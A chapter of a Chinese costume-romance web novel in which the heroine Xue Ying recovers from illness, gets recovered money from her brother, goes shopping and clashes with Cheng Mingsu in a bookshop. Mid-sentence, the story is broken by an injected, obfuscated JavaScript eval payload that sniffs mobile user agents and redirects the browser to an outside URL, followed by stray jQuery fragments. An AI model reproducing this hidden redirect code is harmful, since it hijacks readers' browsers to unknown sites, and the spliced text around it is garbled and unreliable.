薛瑛休息几日,总算有了些精神气,被兄长宽慰过后,她心里没那么惴惴不安了。
采薇告诉她,她生病的这些天有许多人过来探望,不过都被世子拦在外面了。
薛徵怕她无聊,给她搜罗了许多话本,薛瑛一开始还新奇,后来就不爱看了,故事大多是一个逻辑,被欺压,被瞧不起的小喽啰摇身一变,成了众人都高攀不起的角色,而昔日对主角冷脸相待,甚至欺凌主角的人,下场无一例外都十分的凄惨,看多了,便觉得索然无味。
薛瑛无所事事地想,按照话本里的故事,她岂不是就是那个针对主角的恶毒大小姐,狗眼看人低,使尽手段,狂妄自大,又蠢得没边。
手头这一本,陷害主角的人最后被凌迟而死,主角还拿她的头盖骨当碗用,薛瑛起了一身鸡皮疙瘩,脸一黑,将手里的话本丢到一旁。
总觉得在讽刺她。
她躺在美人榻上,发了会儿呆。
似乎已经许久不曾见到程明簌了,薛瑛虽然害怕他,但也奇怪他怎么还不来认亲,其实平心而论,程明簌上次还帮了她呢,虽然用的是那种手段。
想到这件事,薛瑛就一个激灵。
谢九死得太突然了,毫无预兆,程明簌就那样杀了他,然后没事人似的,继续在谢家赴宴,谢九失踪后,谢家的仆人在莲池旁打捞,程明簌甚至还站在旁边,和别人一起谈论谢九的去向。
谢九死后,薛瑛就有好一阵子没睡好,梦到浑身湿漉漉的谢九站在廊下,长廊里都是他身上滴下的水迹,薛瑛吓死了,哆嗦地对他道:“杀你的人不是我,你要索命,就去索程明簌的命。”
人又不是她杀的,心惊胆战地倒成了她。
又过了几日,薛徵拿了几箱金元宝给她。
“赃款,都收回来了。”
薛瑛顿时喜笑颜开,扑到箱子前数钱,她被那个男人骗走一万五千两,还有不少首饰,薛瑛十七年来从来没这么穷过。
少女盘腿坐在簟席上,拿着纸算账,薛瑛学问不精,从小就不爱读书,但算术却不错,算盘拨得噼啪响,不多时便清点好了箱子里的钱。
“嗯?”薛瑛疑道:“怎么还多了五千两,我没有丢这么多。”
薛徵失笑。
那些钱都被拿去赌了,根本追不回来,薛徵的俸禄谈不上高,平日也从不应酬,攒不了多少家底,只好卖了喜欢的字画与珍藏的书,薛瑛花钱多,他又多给了五千两,应该够她挥霍好一阵子了。
“朝廷给失主补偿的,你拿着。”
薛瑛惊呆,“真的呀?”
“嗯。”
她笑得开怀,眼眸明亮,“那我就不客气了,我明日要去买许多首饰衣服。”
“好。”薛徵颔首,“我叫几个护卫跟着你。”
都是训练过的人,是他的亲信,跟着薛瑛,再也不会有心怀不轨之人靠近她。
有了钱,就有了底气,不待明日,薛瑛就已经坐不住,叫采薇给她换了身衣裳,出门买东西。
侯府大门刚打开,皇城街的商贩们便准备迎财神。
最常去的布铺一看到薛二小姐的车架来了,赶忙上前吆喝,“二小姐,咱铺子半个月前新到一批货,掌柜的叫我们先收起来,就等您过来瞧瞧。”
这样的话术深得薛瑛的心,她就喜欢这样被人捧得高高的,什么好东西都得她先挑才行,只一句话,就哄得薛瑛跳下马车,在一群侍卫丫鬟的簇拥下进了铺子。
她养好病后,脸上又恢复光彩和神气,白皙的面颊透着淡淡的红,上扬的眼尾天生带着几分娇媚,前几日的素衣不适合她,她喜欢穿鲜艳欲滴的衣服,打扮得如同花似的最好。
薛瑛买了好几匹绸缎布料,让铺子里的绣娘收好了,改日到侯府为她量体裁衣。
出了布铺,再去买首饰,薛瑛选了好几根价值连城的簪子,还将自己当掉的首饰又买回来,没多久就花了两千两银子。
自己挥霍完一圈,才想到她的钱能回来多亏了薛徵,应当买一些东西答谢兄长,薛徵平日喜欢看书,收集字画,薛瑛便打算去书局看看,买几锭上好的墨,看看有没有合眼缘的字画,买下送给他。
皇城街往西,是太学与国子监等众多学府所在的位置,附近书肆多,来来往往都是白衣襕衫的学生,太学对面的瓠羹店前人满为患,弄得薛瑛也嘴馋,本来想直奔书肆买东西的,又被那香味勾得走不动道,她怕冷,便坐在马车里打发丫鬟去买一碗。
采薇不想姑娘等得着急,拿出一锭银子,放在柜臺上,老板惶恐地接下,先开始做薛瑛那一份。
入了冬,气候寒冷,下了学来一碗热气腾腾的瓠羹别提有多舒服,学生们喜欢来这样的地方,店中坐满了人,热气蒸腾中,结伴而来的学生一边吃羹,一边交谈。
采薇站在柜臺前等。
她是侯府的一等侍女,穿得同普通人家的小姐差不多,刚刚一出手就是一锭银子,引人注目,角落几个书生忍不住往柜臺的方向看了看。
程明簌正坐在角落吃瓠羹,手里握着一卷书,开春后就要会试了,近来学业繁忙,顾不上别的东西。
吃完瓠羹,程明簌起身走出店铺,远远地看见道旁停着一辆极其显眼的马车,恨不得将“有钱”两个字写在脸上。
他扫了一眼挪开目光,山匪专挑这种打劫。
“姑娘,我回来了。”
采薇拎着食盒从店中跑出,薛瑛立刻掀开帘子,“快上来,香死我了!”
京中前几日开始下雪,街上雾蒙蒙的,一开口就会哈出一团白气。
程明簌往前走了几步,听到那道清脆的话语声后又回头。
刚刚停在路边的马车帘子被掀开,里面探出个娇俏明丽的少女。
风搅着雪粒子抽打在车帘上,里面的人撩开厚毡帘的一角,寒气猛地钻进马车中。少女颈间一圈蓬松的白狐毛领子立刻沾满了细碎的雪沫,她只露出一张冻得微红的小脸,鼻尖尤其红得厉害,被风一吹,少女冷得缩了缩脖子,她像冰天雪地里捧出的一尊暖玉观音,只是这观音被寒气一激,眼底也洇出一点湿漉漉的水光,只一瞬,她就躲回了车厢中。
程明簌站在原地,看着已经放下的帘子,前几日听说,武宁侯府的二小姐病了,几个同窗很伤心,因为要好一阵子没法在诗会上看到二小姐的身影。
如今她出来,应当是病好了,怎么那么娇弱,病个不停,侯府难不成亏待她?
没有像前世那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672621|172345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样有侯府的扶持,程明簌日子过得拮据,笔墨纸砚都要省着用。
天寒时书肆里人不多,很安静。程明簌坐在架子后正在看游记,突然,外间吵闹起来,似乎有一群人进入,本来窝在柜台后打瞌睡的掌柜猛地惊醒,赶忙出去迎接。
“你们这儿最好的笔墨是什么?”
熟悉的声音响起,语气一如既往的跋扈。
程明簌翻书的动作顿住,透过架子间的空隙,看到薛瑛站在店中,身旁跟着好几个护卫,乌泱泱一群人,架势十足。
掌柜认出这是侯府的贵女,不由正色,亲自为她介绍。
她也不懂这些,就一个要求,要最贵的,最贵的就是最好的。
一两佳墨比一两黄金还贵,薛瑛眼睛也不眨地买了一大块,掌柜小心翼翼地打包好,递给她身旁的侍女。
薛瑛随便翻了翻架子上的书,回想薛徵平日都看的什么书,然后问道:“前朝吴子的《清檀赋》有没有?”
“有的有的。”掌柜引她过去,殷勤介绍,“这书刻板不常有,我们铺子里大概有一本。”
薛瑛跟着他,穿过几个架子,发现前面站着一个人,她看向他的时候,他也抬起头回视。
目光相接,薛瑛的心一下子提了起来。
出门没看黄历,竟然碰到程明簌那个瘟神。
程明簌诧异她竟然大冬天会想到来书肆买书,她每次碰见到他时好像都有些害怕,但是又憋不住小姐脾气,才对视几眼,薛瑛便道:“看什么看。”
程明簌:“……”
掌柜翻了翻架子没找到,最后看向程明簌握在手中的那本,“原来在这位郎君手中。”
薛瑛“哦”一声,不以为然,“给我。”
程明簌握着书,失笑,“薛二姑娘,这好像是在下先拿的吧”
“你又没付钱。”
“现在就付了。”程明簌笑眯眯地问掌柜:“多少钱?”
掌柜说了个数,他看上去很为难,他不想得罪客人,但更不想得罪薛二小姐。
程明簌翻了翻荷包,取出银钱,“好了,我买了。”
薛瑛急道:“我付双倍!”
程明簌侧身就要离开,“不卖。”
薛瑛觉得他就是奸诈,喜欢和人作对,还是那么讨厌!
她气不过,忍来忍去还是没管住自己的脚,有长长的披风遮掩,程明簌没有瞧见,被她的伸出来的脚尖绊了一个踉跄。
程明簌扶着架子堪堪站稳,回头,薛瑛有些心虚地移开目光。
他不禁啼笑皆非,明明那么害怕他,可是又总忍不住使些小手段报复。
程明簌刚要说什么,这时,又有人走进店中,携着一身飞舞的雪粒,凉气顿时袭来。
本来还跋扈得意的薛瑛突然瞪大眼睛,一见到来人,眼皮一跳,手忙脚乱,竟然慌不择路到往程明簌身后躲去。
她揪住程明簌的衣服,埋在他身后,生怕被刚刚进来的人看到。
“掌柜的。”那人开口,声音低沉,“上次的书抄好了。”
“真是麻烦齐郎君了,大雪天还过来一趟。”掌柜迎上去,“这是工钱。”
“多谢。”齐韫点了点头,将钱接下。